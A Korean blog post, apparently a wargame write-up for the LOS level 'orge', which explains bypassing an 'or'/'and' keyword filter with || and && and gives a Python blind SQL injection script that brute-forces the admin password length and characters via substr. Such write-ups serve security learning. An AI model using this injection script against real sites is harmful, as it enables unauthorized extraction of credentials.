
7번째 문제 ogre 다.
참고로 ogre 는 한글로 하면 오우거 이다.
몰라서 구글링해봤다.
여튼
이번에는 or and 를 필터링하며 admin의 pw를 찾아야 한다.
이전 문제에서 했던 것처럼 || &&를 잘 이용해주도록 하자.
import requests
import string
sess = '세션값'
pl = 0
password = ''
words = list(string.ascii_letters + string.digits + string.punctuation)
for i in range(1,50):
r = requests.get(url, params={'pw':f"' || id='admin' && length(pw)={i};-- -"}, cookies={'PHPSESSID':sess})
# print(r.text)
if '<br><h2>Hello admin' in r.text:
print(i)
pl = i
for i in range(1,pl+1):
for j in words:
r = requests.get(url, params={'pw':f"' || id='admin' && substr(pw,{i},1)='{j}';-- -"}, cookies={'PHPSESSID':sess})
if '<br><h2>Hello admin' in r.text:
print(f'{i} --> {j}')
password += j
print(password)
or 이 정규표현식으로 필터링 되어 있어서 ord() 함수를 못쓴다.
때문에 나는 모든 문자를 가지고 brute force 해서 찾았다.

풀었다!
'Web > LOS' 카테고리의 다른 글
| LOS - vampire (0) | 2024.09.17 |
|---|---|
| LOS - troll (1) | 2024.09.17 |
| LOS - darkelf (0) | 2024.09.15 |
| LOS - wolfman (0) | 2024.09.15 |
| LOS - ORC (1) | 2024.09.15 |